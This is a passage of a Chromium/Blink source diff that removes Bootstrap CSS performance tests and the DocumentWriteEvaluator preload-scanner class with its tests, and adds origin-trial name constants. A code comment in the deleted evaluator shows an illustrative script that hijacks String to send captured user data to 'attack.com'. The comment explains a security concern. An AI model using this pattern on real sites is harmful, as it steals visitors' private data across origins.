-                <p>This is a simple hero unit, a simple jumbotron-style component for calling extra attention to featured content or information.</p>
-                <p><a class="btn btn-primary btn-lg">Learn more</a></p>
-              </div>
-            </div>
-          </div>
-        </div>
-
-
-        <div class="row">
-          <div class="col-lg-12">
-            <h2>List groups</h2>
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <ul class="list-group">
-                <li class="list-group-item">
-                  <span class="badge">14</span>
-                  Cras justo odio
-                </li>
-                <li class="list-group-item">
-                  <span class="badge">2</span>
-                  Dapibus ac facilisis in
-                </li>
-                <li class="list-group-item">
-                  <span class="badge">1</span>
-                  Morbi leo risus
-                </li>
-              </ul>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="list-group">
-                <a href="#" class="list-group-item active">
-                  Cras justo odio
-                </a>
-                <a href="#" class="list-group-item">Dapibus ac facilisis in
-                </a>
-                <a href="#" class="list-group-item">Morbi leo risus
-                </a>
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="list-group">
-                <a href="#" class="list-group-item">
-                  <h4 class="list-group-item-heading">List group item heading</h4>
-                  <p class="list-group-item-text">Donec id elit non mi porta gravida at eget metus. Maecenas sed diam eget risus varius blandit.</p>
-                </a>
-                <a href="#" class="list-group-item">
-                  <h4 class="list-group-item-heading">List group item heading</h4>
-                  <p class="list-group-item-text">Donec id elit non mi porta gravida at eget metus. Maecenas sed diam eget risus varius blandit.</p>
-                </a>
-              </div>
-            </div>
-          </div>
-        </div>
-
-
-        <div class="row">
-          <div class="col-lg-12">
-            <h2>Panels</h2>
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="panel panel-default">
-                <div class="panel-body">
-                  Basic panel
-                </div>
-              </div>
-
-              <div class="panel panel-default">
-                <div class="panel-heading">Panel heading</div>
-                <div class="panel-body">
-                  Panel content
-                </div>
-              </div>
-
-              <div class="panel panel-default">
-                <div class="panel-body">
-                  Panel content
-                </div>
-                <div class="panel-footer">Panel footer</div>
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="panel panel-primary">
-                <div class="panel-heading">
-                  <h3 class="panel-title">Panel primary</h3>
-                </div>
-                <div class="panel-body">
-                  Panel content
-                </div>
-              </div>
-
-              <div class="panel panel-success">
-                <div class="panel-heading">
-                  <h3 class="panel-title">Panel success</h3>
-                </div>
-                <div class="panel-body">
-                  Panel content
-                </div>
-              </div>
-
-              <div class="panel panel-warning">
-                <div class="panel-heading">
-                  <h3 class="panel-title">Panel warning</h3>
-                </div>
-                <div class="panel-body">
-                  Panel content
-                </div>
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="panel panel-danger">
-                <div class="panel-heading">
-                  <h3 class="panel-title">Panel danger</h3>
-                </div>
-                <div class="panel-body">
-                  Panel content
-                </div>
-              </div>
-
-              <div class="panel panel-info">
-                <div class="panel-heading">
-                  <h3 class="panel-title">Panel info</h3>
-                </div>
-                <div class="panel-body">
-                  Panel content
-                </div>
-              </div>
-            </div>
-          </div>
-        </div>
-
-        <div class="row">
-          <div class="col-lg-12">
-            <h2>Wells</h2>
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="well">
-                Look, I'm in a well!
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="well well-sm">
-                Look, I'm in a small well!
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-4">
-            <div class="bs-component">
-              <div class="well well-lg">
-                Look, I'm in a large well!
-              </div>
-            </div>
-          </div>
-        </div>
-      </div>
-
-      <!-- Dialogs
-      ================================================== -->
-      <div class="bs-docs-section">
-
-        <div class="row">
-          <div class="col-lg-12">
-            <div class="page-header">
-              <h1 id="dialogs">Dialogs</h1>
-            </div>
-          </div>
-        </div>
-        <div class="row">
-          <div class="col-lg-6">
-            <h2>Modals</h2>
-            <div class="bs-component">
-              <div class="modal">
-                <div class="modal-dialog">
-                  <div class="modal-content">
-                    <div class="modal-header">
-                      <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
-                      <h4 class="modal-title">Modal title</h4>
-                    </div>
-                    <div class="modal-body">
-                      <p>One fine body…</p>
-                    </div>
-                    <div class="modal-footer">
-                      <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
-                      <button type="button" class="btn btn-primary">Save changes</button>
-                    </div>
-                  </div>
-                </div>
-              </div>
-            </div>
-          </div>
-          <div class="col-lg-6">
-            <h2>Popovers</h2>
-            <div class="bs-component">
-              <button type="button" class="btn btn-default" data-container="body" data-toggle="popover" data-placement="left" data-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus.">Left</button>
-
-              <button type="button" class="btn btn-default" data-container="body" data-toggle="popover" data-placement="top" data-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus.">Top</button>
-
-              <button type="button" class="btn btn-default" data-container="body" data-toggle="popover" data-placement="bottom" data-content="Vivamus
-              sagittis lacus vel augue laoreet rutrum faucibus.">Bottom</button>
-
-              <button type="button" class="btn btn-default" data-container="body" data-toggle="popover" data-placement="right" data-content="Vivamus sagittis lacus vel augue laoreet rutrum faucibus.">Right</button>
-            </div>
-            <h2>Tooltips</h2>
-            <div class="bs-component">
-              <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="left" title="" data-original-title="Tooltip on left">Left</button>
-
-              <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="top" title="" data-original-title="Tooltip on top">Top</button>
-
-              <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="bottom" title="" data-original-title="Tooltip on bottom">Bottom</button>
-
-              <button type="button" class="btn btn-default" data-toggle="tooltip" data-placement="right" title="" data-original-title="Tooltip on right">Right</button>
-            </div>
-          </div>
-        </div>
-      </div>
-
-      <div id="source-modal" class="modal fade">
-        <div class="modal-dialog modal-lg">
-          <div class="modal-content">
-            <div class="modal-header">
-              <button type="button" class="close" data-dismiss="modal" aria-hidden="true">&times;</button>
-              <h4 class="modal-title">Source Code</h4>
-            </div>
-            <div class="modal-body">
-              <pre></pre>
-            </div>
-          </div>
-        </div>
-      </div>
-      <footer>
-        <div class="row">
-          <div class="col-lg-12">
-            <ul class="list-unstyled">
-              <li class="pull-right"><a href="#top">Back to top</a></li>
-              <li><a href="http://news.bootswatch.com">Blog</a></li>
-              <li><a href="http://feeds.feedburner.com/bootswatch">RSS</a></li>
-              <li><a href="https://twitter.com/bootswatch">Twitter</a></li>
-              <li><a href="https://github.com/thomaspark/bootswatch/">GitHub</a></li>
-              <li><a href="../help/#api">API</a></li>
-              <li><a href="../help/#support">Support</a></li>
-            </ul>
-            <p>Code released under the <a href="https://github.com/thomaspark/bootswatch/blob/gh-pages/LICENSE">MIT License</a>.</p>
-            <p>Based on <a href="http://getbootstrap.com" rel="nofollow">Bootstrap</a>. Icons from <a href="http://fortawesome.github.io/Font-Awesome/" rel="nofollow">Font Awesome</a>. Web fonts from <a href="http://www.google.com/webfonts" rel="nofollow">Google</a>.</p>
-          </div>
-        </div>
-      </footer>
-    </div>
-
-    <!-- Performance test runner code below -->
-    <script>
-        var styleText = PerfTestRunner.loadFile("resources/bootstrap.min.css");
-
-        PerfTestRunner.measureTime({
-            description: "Measures the performance of loading a Bootstrap page with lots of components.",
-            run: function() {
-              var style = applyCSSRule(styleText);
-              forceStyleRecalc(document.body);
-              style.remove();
-              forceStyleRecalc(document.body);
-            },
-            tracingCategories: 'blink',
-            traceEventsToMeasure: [
-                'Document::updateStyle',
-                'Document::recalcStyle',
-                'Document::rebuildLayoutTree'
-            ]
-        });
-    </script>
-  </body>
-</html>
diff --git a/third_party/WebKit/PerformanceTests/CSS/StyleSheetInsert-bootstrap.html b/third_party/WebKit/PerformanceTests/CSS/StyleSheetInsert-bootstrap.html
deleted file mode 100644
index 201f7f2c..0000000
--- a/third_party/WebKit/PerformanceTests/CSS/StyleSheetInsert-bootstrap.html
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-<script src="../resources/runner.js"></script>
-</head>
-<body>
-<iframe></iframe>
-</body>
-<script>
-function loadText(path) {
-    var xhr = new XMLHttpRequest();
-    xhr.open("GET", path, false);
-    xhr.send(null);
-    return xhr.responseText;
-}
-var styleText = loadText("resources/bootstrap.min.css");
-
-PerfTestRunner.measureRunsPerSecond({
-    description: "Measures performance of inserting a style elemenet ocntaining bootstrap's CSS into an iframe.",
-    run:function() {
-        var testDoc = document.getElementsByTagName("iframe")[0].contentDocument;
-        var style = testDoc.createElement("style");
-        style.textContent = styleText;
-        testDoc.documentElement.appendChild(style);
-        testDoc.documentElement.removeChild(testDoc.documentElement.lastElementChild);
-    }
-});
-</script>
-</html>
diff --git a/third_party/WebKit/PerformanceTests/CSS/StyleSheetInsert.html b/third_party/WebKit/PerformanceTests/CSS/StyleSheetInsert.html
deleted file mode 100644
index 836330c..0000000
--- a/third_party/WebKit/PerformanceTests/CSS/StyleSheetInsert.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE html>
-<html>
-<head>
-<script src="../resources/runner.js"></script>
-</head>
-<body>
-<iframe></iframe>
-</body>
-<script>
-
-function setup() {
-    var frame = document.getElementsByTagName("iframe")[0];
-    var testDoc = frame.contentDocument;
-    var docText = "";
-    docText += "<body><style>.foo {color:red}</style>";
-    docText += "<div class='bar'>Foo</div>";
-    for (var i = 0; i < 10000; ++i)
-        docText += "<div class='foo'>Foo</div>";
-    testDoc.body.innerHTML = docText;
-    return testDoc;
-}
-
-PerfTestRunner.measureTime({
-    description: "Measures performance of inserting 50 large style elements into an iframe.",
-    run:function() {
-        var testDoc = setup();
-        var start = PerfTestRunner.now();
-        testDoc.body.offsetTop;
-        for (var i = 0; i < 50; i++) {
-            var styleElem = testDoc.createElement("style");
-            styleElem.innerText = ".bar {color:green}";
-            testDoc.body.insertBefore(styleElem, testDoc.body.firstChild);
-        }
-        testDoc.body.offsetTop;
-        return PerfTestRunner.now() - start;
-    }
-});
-</script>
-</html>
diff --git a/third_party/WebKit/PerformanceTests/CSS/resources/utils.js b/third_party/WebKit/PerformanceTests/CSS/resources/utils.js
index 988a98a6..67fbaf642 100644
--- a/third_party/WebKit/PerformanceTests/CSS/resources/utils.js
+++ b/third_party/WebKit/PerformanceTests/CSS/resources/utils.js
@@ -17,7 +17,7 @@
 }
 
 function createRegularDOMTree() {
-    createDOMTree(document.body, 6, 6);
+    createDOMTree(document.body, 4, 4);
 }
 
 function forceStyleRecalc(node) {
diff --git a/third_party/WebKit/Source/bindings/bindings.gni b/third_party/WebKit/Source/bindings/bindings.gni
index a237d0a5..c30bf1f 100644
--- a/third_party/WebKit/Source/bindings/bindings.gni
+++ b/third_party/WebKit/Source/bindings/bindings.gni
@@ -33,8 +33,6 @@
                     "core/v8/CallbackPromiseAdapter.h",
                     "core/v8/V0CustomElementConstructorBuilder.cpp",
                     "core/v8/V0CustomElementConstructorBuilder.h",
-                    "core/v8/DocumentWriteEvaluator.cpp",
-                    "core/v8/DocumentWriteEvaluator.h",
                     "core/v8/Dictionary.cpp",
                     "core/v8/Dictionary.h",
                     "core/v8/DictionaryHelperForBindings.h",
@@ -188,7 +186,6 @@
         [
           "core/v8/ActivityLoggerTest.cpp",
           "core/v8/BindingSecurityTest.cpp",
-          "core/v8/DocumentWriteEvaluatorTest.cpp",
           "core/v8/DOMWrapperWorldTest.cpp",
           "core/v8/IDLTypesTest.cpp",
           "core/v8/NativeValueTraitsImplTest.cpp",
diff --git a/third_party/WebKit/Source/bindings/core/v8/BUILD.gn b/third_party/WebKit/Source/bindings/core/v8/BUILD.gn
index 0a945c38..3a7fccf 100644
--- a/third_party/WebKit/Source/bindings/core/v8/BUILD.gn
+++ b/third_party/WebKit/Source/bindings/core/v8/BUILD.gn
@@ -111,6 +111,8 @@
   "$bindings_core_v8_output_dir/MojoWatchCallback.h",
   "$bindings_core_v8_output_dir/PerformanceObserverCallback.cpp",
   "$bindings_core_v8_output_dir/PerformanceObserverCallback.h",
+  "$bindings_core_v8_output_dir/ReportingObserverCallback.cpp",
+  "$bindings_core_v8_output_dir/ReportingObserverCallback.h",
   "$bindings_core_v8_output_dir/ResizeObserverCallback.cpp",
   "$bindings_core_v8_output_dir/ResizeObserverCallback.h",
 ]
diff --git a/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluator.cpp b/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluator.cpp
deleted file mode 100644
index 3465546b..0000000
--- a/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluator.cpp
+++ /dev/null
@@ -1,169 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "bindings/core/v8/DocumentWriteEvaluator.h"
-
-#include "bindings/core/v8/ScriptSourceCode.h"
-#include "bindings/core/v8/V8ScriptRunner.h"
-#include "core/frame/Location.h"
-#include "platform/bindings/V8BindingMacros.h"
-#include "platform/instrumentation/tracing/TraceEvent.h"
-#include "platform/wtf/text/StringUTF8Adaptor.h"
-#include "v8/include/v8.h"
-
-namespace blink {
-
-namespace {
-
-void DocumentWriteCallback(const v8::FunctionCallbackInfo<v8::Value>& args) {
-  void* ptr = v8::Local<v8::External>::Cast(args.Data())->Value();
-  DocumentWriteEvaluator* evaluator = static_cast<DocumentWriteEvaluator*>(ptr);
-  v8::HandleScope scope(args.GetIsolate());
-  for (int i = 0; i < args.Length(); i++) {
-    evaluator->RecordDocumentWrite(
-        ToCoreStringWithNullCheck(args[i]->ToString()));
-  }
-}
-
-}  // namespace
-
-DocumentWriteEvaluator::DocumentWriteEvaluator(const Document& document) {
-  // Note, evaluation will only proceed if |location| is not null.
-  Location* location = document.location();
-  if (location) {
-    path_name_ = location->pathname();
-    host_name_ = location->hostname();
-    protocol_ = location->protocol();
-  }
-  user_agent_ = document.UserAgent();
-}
-
-// For unit testing.
-DocumentWriteEvaluator::DocumentWriteEvaluator(const String& path_name,
-                                               const String& host_name,
-                                               const String& protocol,
-                                               const String& user_agent)
-    : path_name_(path_name),
-      host_name_(host_name),
-      protocol_(protocol),
-      user_agent_(user_agent) {}
-
-DocumentWriteEvaluator::~DocumentWriteEvaluator() {}
-
-// Create a new context and global stubs lazily. Note that we must have a
-// separate v8::Context per HTMLDocumentParser. Separate Documents cannot share
-// contexts. For instance:
-// Origin A:
-// <script>
-// var String = function(capture) {
-//     document.write(<script src="http://attack.com/url=" + capture/>);
-// }
-// </script>
-//
-// Now, String is redefined in the context to capture user information and post
-// to the evil site. If the user navigates to another origin that the preloader
-// targets for evaluation, their data is vulnerable. E.g.
-// Origin B:
-// <script>
-// var userData = [<secret data>, <more secret data>];
-// document.write("<script src='/postData/'"+String(userData)+"' />");
-// </script>
-bool DocumentWriteEvaluator::EnsureEvaluationContext() {
-  if (!persistent_context_.IsEmpty())
-    return false;
-  TRACE_EVENT0("blink", "DocumentWriteEvaluator::initializeEvaluationContext");
-  DCHECK(persistent_context_.IsEmpty());
-  v8::Isolate* isolate = V8PerIsolateData::MainThreadIsolate();
-  v8::Isolate::Scope isolate_scope(isolate);
-  v8::HandleScope handle_scope(isolate);
-  v8::Local<v8::Context> context = v8::Context::New(isolate);
-  persistent_context_.Set(isolate, context);
-  v8::Context::Scope context_scope(context);
-
-  // Initialize global objects.
-  window_.Set(isolate, v8::Object::New(isolate));
-  location_.Set(isolate, v8::Object::New(isolate));
-  navigator_.Set(isolate, v8::Object::New(isolate));
-  document_.Set(isolate, v8::Object::New(isolate));
-
-  // Initialize strings that are used more than once.
-  v8::Local<v8::String> location_string = V8String(isolate, "location");
-  v8::Local<v8::String> navigator_string = V8String(isolate, "navigator");
-  v8::Local<v8::String> document_string = V8String(isolate, "document");
-
-  window_.NewLocal(isolate)->Set(location_string, location_.NewLocal(isolate));
-  window_.NewLocal(isolate)->Set(document_string, document_.NewLocal(isolate));
-  window_.NewLocal(isolate)->Set(navigator_string,
-                                 navigator_.NewLocal(isolate));
-
-  v8::Local<v8::FunctionTemplate> write_template = v8::FunctionTemplate::New(
-      isolate, DocumentWriteCallback, v8::External::New(isolate, this));
-  write_template->RemovePrototype();
-  document_.NewLocal(isolate)->Set(location_string,
-                                   location_.NewLocal(isolate));
-  document_.NewLocal(isolate)->Set(V8String(isolate, "write"),
-                                   write_template->GetFunction());
-  document_.NewLocal(isolate)->Set(V8String(isolate, "writeln"),
-                                   write_template->GetFunction());
-
-  location_.NewLocal(isolate)->Set(V8String(isolate, "pathname"),
-                                   V8String(isolate, path_name_));
-  location_.NewLocal(isolate)->Set(V8String(isolate, "hostname"),
-                                   V8String(isolate, host_name_));
-  location_.NewLocal(isolate)->Set(V8String(isolate, "protocol"),
-                                   V8String(isolate, protocol_));
-  navigator_.NewLocal(isolate)->Set(V8String(isolate, "userAgent"),
-                                    V8String(isolate, user_agent_));
-
-  V8CallBoolean(context->Global()->Set(context, V8String(isolate, "window"),
-                                       window_.NewLocal(isolate)));
-  V8CallBoolean(context->Global()->Set(context, document_string,
-                                       document_.NewLocal(isolate)));
-  V8CallBoolean(context->Global()->Set(context, location_string,
-                                       location_.NewLocal(isolate)));
-  V8CallBoolean(context->Global()->Set(context, navigator_string,
-                                       navigator_.NewLocal(isolate)));
-  return true;
-}
-
-bool DocumentWriteEvaluator::Evaluate(const String& script_source) {
-  TRACE_EVENT0("blink", "DocumentWriteEvaluator::evaluate");
-  v8::Isolate* isolate = V8PerIsolateData::MainThreadIsolate();
-  v8::Isolate::Scope isolate_scope(isolate);
-  v8::HandleScope handle_scope(isolate);
-  v8::Context::Scope context_scope(persistent_context_.NewLocal(isolate));
-
-  // TODO(csharrison): Consider logging compile / execution error counts.
-  StringUTF8Adaptor source_utf8(script_source);
-  v8::MaybeLocal<v8::String> source =
-      v8::String::NewFromUtf8(isolate, source_utf8.Data(),
-                              v8::NewStringType::kNormal, source_utf8.length());
-  if (source.IsEmpty())
-    return false;
-  v8::TryCatch try_catch(isolate);
-  return !V8ScriptRunner::CompileAndRunInternalScript(source.ToLocalChecked(),
-                                                      isolate)
-              .IsEmpty();
-}
-
-bool DocumentWriteEvaluator::ShouldEvaluate(const String& source) {
-  return !host_name_.IsEmpty() && !user_agent_.IsEmpty();
-}
-
-String DocumentWriteEvaluator::EvaluateAndEmitWrittenSource(
-    const String& script_source) {
-  if (!ShouldEvaluate(script_source))
-    return "";
-  TRACE_EVENT0("blink", "DocumentWriteEvaluator::evaluateAndEmitStartTokens");
-  document_written_strings_.Clear();
-  Evaluate(script_source);
-  return document_written_strings_.ToString();
-}
-
-void DocumentWriteEvaluator::RecordDocumentWrite(
-    const String& document_written_string) {
-  document_written_strings_.Append(document_written_string);
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluator.h b/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluator.h
deleted file mode 100644
index 181233ae..0000000
--- a/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluator.h
+++ /dev/null
@@ -1,71 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#ifndef DocumentWriteEvaluator_h
-#define DocumentWriteEvaluator_h
-
-#include <memory>
-#include "bindings/core/v8/V8BindingForCore.h"
-#include "core/dom/Document.h"
-#include "core/frame/Navigator.h"
-#include "core/html/parser/CompactHTMLToken.h"
-#include "core/html/parser/HTMLToken.h"
-#include "core/html/parser/HTMLTokenizer.h"
-#include "platform/wtf/PtrUtil.h"
-
-namespace blink {
-
-// This class is used by the preload scanner on the background parser thread to
-// execute inline Javascript and preload resources that would have been written
-// by document.write(). It takes a script string and outputs a vector of start
-// tag tokens.
-class CORE_EXPORT DocumentWriteEvaluator {
-  WTF_MAKE_NONCOPYABLE(DocumentWriteEvaluator);
-  USING_FAST_MALLOC(DocumentWriteEvaluator);
-
- public:
-  // For unit testing.
-  DocumentWriteEvaluator(const String& path_name,
-                         const String& host_name,
-                         const String& protocol,
-                         const String& user_agent);
-
-  static std::unique_ptr<DocumentWriteEvaluator> Create(
-      const Document& document) {
-    return WTF::WrapUnique(new DocumentWriteEvaluator(document));
-  }
-  virtual ~DocumentWriteEvaluator();
-
-  // Initializes the V8 context for this document. Returns whether
-  // initialization was needed.
-  bool EnsureEvaluationContext();
-  String EvaluateAndEmitWrittenSource(const String& script_source);
-  bool ShouldEvaluate(const String& script_source);
-
-  void RecordDocumentWrite(const String& document_written_string);
-
- private:
-  explicit DocumentWriteEvaluator(const Document&);
-  // Returns true if the evaluation succeeded with no errors.
-  bool Evaluate(const String& script_source);
-
-  // All the strings that are document.written in the script tag that is being
-  // scanned.
-  StringBuilder document_written_strings_;
-
-  ScopedPersistent<v8::Context> persistent_context_;
-  ScopedPersistent<v8::Object> window_;
-  ScopedPersistent<v8::Object> document_;
-  ScopedPersistent<v8::Object> location_;
-  ScopedPersistent<v8::Object> navigator_;
-
-  String path_name_;
-  String host_name_;
-  String protocol_;
-  String user_agent_;
-};
-
-}  // namespace blink
-
-#endif  // DocumentWriteEvaluator_h
diff --git a/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluatorTest.cpp b/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluatorTest.cpp
deleted file mode 100644
index 167dfd3..0000000
--- a/third_party/WebKit/Source/bindings/core/v8/DocumentWriteEvaluatorTest.cpp
+++ /dev/null
@@ -1,109 +0,0 @@
-// Copyright 2016 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "bindings/core/v8/DocumentWriteEvaluator.h"
-
-#include "bindings/core/v8/V8BindingForCore.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace blink {
-
-namespace {
-
-class DocumentWriteEvaluatorTest : public ::testing::Test {
- public:
-  DocumentWriteEvaluatorTest()
-      : evaluator_(new DocumentWriteEvaluator("/path/",
-                                              "www.example.com",
-                                              "http:",
-                                              "userAgent")) {
-    evaluator_->EnsureEvaluationContext();
-  }
-  std::unique_ptr<DocumentWriteEvaluator> evaluator_;
-};
-
-}  // namespace
-
-TEST_F(DocumentWriteEvaluatorTest, NoEvaluation) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource("var a = 2;");
-  EXPECT_EQ("", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, SimpleDocumentWrite) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "document.write('Hello, World!');");
-  EXPECT_EQ("Hello, World!", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, WriteBeforeError) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "document.write('Hello, World!');"
-      "console.log('this causes an exception');");
-  EXPECT_EQ("Hello, World!", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, MultipleWrites) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "document.write('Hello, World', '!');"
-      "window.document.write('How' + ' are you?');"
-      "document.writeln('Not bad.');");
-  EXPECT_EQ("Hello, World!How are you?Not bad.", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, HandleSimpleFunctions) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "(function(src) {"
-      "document.write(src);"
-      "})('Hello, World!');");
-  EXPECT_EQ("Hello, World!", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, DynamicDocWrite) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "var write = document.write;"
-      "(function(f, w) {"
-      "f(w);"
-      "})(write, 'Hello, World!');");
-  EXPECT_EQ("Hello, World!", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, MultipleScripts) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "var write = document.write;"
-      "write('Hello');");
-  EXPECT_EQ("Hello", written);
-
-  String written2 = evaluator_->EvaluateAndEmitWrittenSource("write('Hello');");
-  EXPECT_EQ("Hello", written2);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, UsePath) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "document.write(location.pathname);"
-      "document.write(' ', window.location.pathname);");
-  EXPECT_EQ("/path/ /path/", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, UseHost) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "document.write(location.hostname);"
-      "document.write(' ', window.location.hostname);");
-  EXPECT_EQ("www.example.com www.example.com", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, UseProtocol) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "document.write(location.protocol);"
-      "document.write(' ', window.location.protocol);");
-  EXPECT_EQ("http: http:", written);
-}
-
-TEST_F(DocumentWriteEvaluatorTest, UseUserAgent) {
-  String written = evaluator_->EvaluateAndEmitWrittenSource(
-      "document.write(navigator.userAgent);"
-      "document.write(' ', window.navigator.userAgent);");
-  EXPECT_EQ("userAgent userAgent", written);
-}
-
-}  // namespace blink
diff --git a/third_party/WebKit/Source/bindings/scripts/generate_conditional_features.py b/third_party/WebKit/Source/bindings/scripts/generate_conditional_features.py
index 861e2c2..0087722 100755
--- a/third_party/WebKit/Source/bindings/scripts/generate_conditional_features.py
+++ b/third_party/WebKit/Source/bindings/scripts/generate_conditional_features.py
@@ -163,6 +163,7 @@
     # functions to call, organized by interface.
     context['installers_by_feature'] = [
         {"name": feature_name,
+         "name_constant": "OriginTrials::k%sTrialName" % feature_name,
          "installers": get_install_functions(interfaces, [feature_name])}
         for feature_name, interfaces in types_for_feature.items()]
     context['installers_by_feature'].sort(key=lambda x: x['name'])
diff --git a/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForCore.cpp.tmpl b/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForCore.cpp.tmpl
index 14ea88d0..ce71ac2 100644
--- a/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForCore.cpp.tmpl
+++ b/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForCore.cpp.tmpl
@@ -74,7 +74,7 @@
   const DOMWrapperWorld& world = script_state->World();
   V8PerContextData* context_data = script_state->PerContextData();
   {% for feature in installers_by_feature %}
-  if (feature == "{{feature.name}}") {
+  if (feature == {{feature.name_constant}}) {
     {% for installer in feature.installers %}
     if (context_data->GetExistingConstructorAndPrototypeForType(
             &{{installer.v8_class}}::wrapperTypeInfo, &prototype_object, &interface_object)) {
diff --git a/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForModules.cpp.tmpl b/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForModules.cpp.tmpl
index af3b82a6..5182614 100644
--- a/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForModules.cpp.tmpl
+++ b/third_party/WebKit/Source/bindings/templates/ConditionalFeaturesForModules.cpp.tmpl
@@ -66,7 +66,7 @@
   const DOMWrapperWorld& world = script_state->World();
   V8PerContextData* context_data = script_state->PerContextData();
   {% for feature in installers_by_feature %}
-  if (feature == "{{feature.name}}") {
+  if (feature == {{feature.name_constant}}) {
     {% for installer in feature.installers %}
     if (context_data->GetExistingConstructorAndPrototypeForType(
             &{{installer.v8_class}}::wrapperTypeInfo, &prototype_object, &interface_object)) {
diff --git a/third_party/WebKit/Source/bindings/tests/results/core/ConditionalFeaturesForCore.cpp b/third_party/WebKit/Source/bindings/tests/results/core/ConditionalFeaturesForCore.cpp
index 4f2a9b1..8ef6119 100644
--- a/third_party/WebKit/Source/bindings/tests/results/core/ConditionalFeaturesForCore.cpp
+++ b/third_party/WebKit/Source/bindings/tests/results/core/ConditionalFeaturesForCore.cpp
@@ -77,7 +77,7 @@
   v8::Isolate* isolate = script_state->GetIsolate();
   const DOMWrapperWorld& world = script_state->World();
   V8PerContextData* context_data = script_state->PerContextData();
-  if (feature == "FeatureName") {
+  if (feature == OriginTrials::kFeatureNameTrialName) {
     if (context_data->GetExistingConstructorAndPrototypeForType(
             &V8TestObject::wrapperTypeInfo, &prototype_object, &interface_object)) {
       V8TestObject::installFeatureName(
diff --git a/third_party/WebKit/Source/build/scripts/templates/OriginTrials.cpp.tmpl b/third_party/WebKit/Source/build/scripts/templates/OriginTrials.cpp.tmpl
index 5ca0601..f2db247 100644
--- a/third_party/WebKit/Source/build/scripts/templates/OriginTrials.cpp.tmpl
+++ b/third_party/WebKit/Source/build/scripts/templates/OriginTrials.cpp.tmpl
@@ -12,6 +12,12 @@
 
 {% for feature in features %}
 {% if feature.origin_trial_feature_name %}
+const char OriginTrials::k{{feature.name}}TrialName[] = "{{feature.origin_trial_feature_name}}";
+{% endif %}
+{% endfor %}
+
+{% for feature in features %}
+{% if feature.origin_trial_feature_name %}
 
 bool OriginTrials::{{feature.first_lowered_name}}Enabled(ExecutionContext* executionContext) {
   if (RuntimeEnabledFeatures::{{feature.name}}Enabled())
@@ -26,7 +32,7 @@
 
   OriginTrialContext* context = OriginTrialContext::From(executionContext,
       OriginTrialContext::kDontCreateIfNotExists);
-  return context && context->IsTrialEnabled("{{feature.origin_trial_feature_name}}");
+  return context && context->IsTrialEnabled(OriginTrials::k{{feature.name}}TrialName);
 {% if feature.origin_trial_os %}
 #else
   return false;
diff --git a/third_party/WebKit/Source/build/scripts/templates/OriginTrials.h.tmpl b/third_party/WebKit/Source/build/scripts/templates/OriginTrials.h.tmpl
index a30a4ba..a983aee1 100644
--- a/third_party/WebKit/Source/build/scripts/templates/OriginTrials.h.tmpl
+++ b/third_party/WebKit/Source/build/scripts/templates/OriginTrials.h.tmpl
@@ -19,6 +19,12 @@
